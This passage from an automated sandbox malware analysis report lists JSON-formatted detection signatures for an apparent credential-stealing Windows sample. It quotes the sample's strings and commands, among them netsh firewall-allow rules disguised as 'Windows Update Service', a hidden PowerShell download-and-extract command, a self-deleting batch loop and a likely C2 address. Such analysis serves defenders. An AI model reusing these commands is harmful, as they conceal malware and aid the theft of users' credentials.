\"\\mozglue.dll\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\nss3.dll\" (Indicator: \"\\nss3.dll\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\mozglue.dll\" (Indicator: \"\\mozglue.dll\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"%s\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"comCache\" in header \"GET /line/?fields=countryCode HTTP/1.1User-Agent: Mozilla/5.0Host: ip-api.comCache-Control: no-cache\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$35","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$36","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \".youtube.com\" (Indicator: \"youtube.com\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \".github.com\" (Indicator: \"github.com\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"github.com\" (Indicator: \"github.com\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \".paypal.com\" (Indicator: \"paypal.com\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \".youtube.com\" (Indicator: \"youtube.com\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \".github.com\" (Indicator: \"github.com\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"github.com\" (Indicator: \"github.com\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \".paypal.com\" (Indicator: \"paypal.com\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"Handle enumeration requires NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"Handle enumeration requires NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"CredUIParseUserNameW\" (Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found string \"UserName\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"TunnelUserName\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"GetLogicalDrives\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"Handle enumeration requires NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"Handle enumeration requires NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"%s\\places.sqlite\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\formhistory.sqlite\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\places.sqlite\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"%s\\formhistory.sqlite\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"$38","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" HTTP/1.1 200 OK\nDate: Thu\n 23 Apr 2026 12:32:49 GMT\nContent-Type: text/plain; charset=utf-8\nContent-Length: 3\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>55530A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"netsh.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at E2590000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$53","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"nul:loopdel /f /q \"%s\"if exist \"%s\" goto loopdel /f /q \"%s\"\" (Indicator: \"ping 127\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping 127\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-5070","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping \"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExA\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"nul:loopdel /f /q \"%s\"if exist \"%s\" goto loopdel /f /q \"%s\"\" (Indicator: \"ping 127.0.0.1\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping 127.0.0.1\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-573","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest -Uri 'https://www.amyuni.com/downloads/usbmmidd_v2.zip' -OutFile '%s'; Expand-Archive -Path '%s' -DestinationPath '%s' -Force\"\" (Indicator: \"Invoke-WebRequest\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest -Uri 'https://www.amyuni.com/downloads/usbmmidd_v2.zip' -OutFile '%s'; Expand-Archive -Path '%s' -DestinationPath '%s' -Force\"\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"file/memory contains long string with (Indicator: \"ipconfig /all\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n file/memory contains long string with (Indicator: \"ipconfig /all\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserSetInfo\" (Indicator: \"NetUserSetInfo\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NetUserSetInfo\" (Indicator: \"NetUserSetInfo\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve list of TCP/UDP endpoints (API string)","description":"Found reference to API \"GetExtendedUdpTable\" (Indicator: \"GetExtendedUdpTable\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetExtendedUdpTable\" (Indicator: \"GetExtendedUdpTable\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-273","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"mail.smtpserver.\" (Indicator: \"SmtpServer\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to \"mail.smtpserver.\" (Indicator: \"SmtpServer\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Detects NETSH process execution","description":"Process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service\" dir=out action=allow program=\"C:\\\\1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin.exe\" enable=yes\" (UID: 00000000-00004448)\n Process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service Host\" dir=in action=allow program=\"C:\\\\1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin.exe\" enable=yes\" (UID: 00000000-00001716)","origin":"Monitored Target","mitre_attack_id":"T1562.004","relevance":2,"id":"target-186","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"127.0.0.1\"\n Potential IP \"127.0.0.1\" found in string \"@echo offping 127.0.0.1 -n 3 >nul:loopdel /f /q \"%s\"if exist \"%s\" goto loopdel /f /q \"%s\"\"\n \"188.215.229.24:4449\"\n Potential IP \"127.0.0.1\" found in string \"Host: 127.0.0.1:%d\"\n Potential IP \"127.0.0.1\" found in string \"ping 127.0.0.1 -n 3 >nul\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$60","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET %s HTTP/1.1Host: 127.0.0.1:%dUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13\" (Indicator: \"HTTP/1.1\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"GET %s HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetLocalGroupAdd\" which can \"create a local group in the security database.\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]\n Observed import api \"NetLocalGroupAddMembers\" which can \"add membership of one or more existing user accounts or global group accounts to an existing local group.\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]\n Observed import api \"NetUserAdd\" which can \"add a user account and assigns a password and privilege level.\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]\n Observed import api \"NetUserDel\" which can \"delete a user account from a server.\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]\n Observed import api \"NetUserSetInfo\" which can \"set the parameters of a user account.\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://api.mainnet\"\n Found HTTPS url \"https://rpc.ankr.com\"\n Found HTTPS url \"https://solana\"\n Found HTTPS url \"https://solana.drpc.org\"\n Found HTTPS url \"https://solana.public\"\n Found HTTPS url \"https://www.amyuni.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"References hosts file in file/memory","description":"Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" 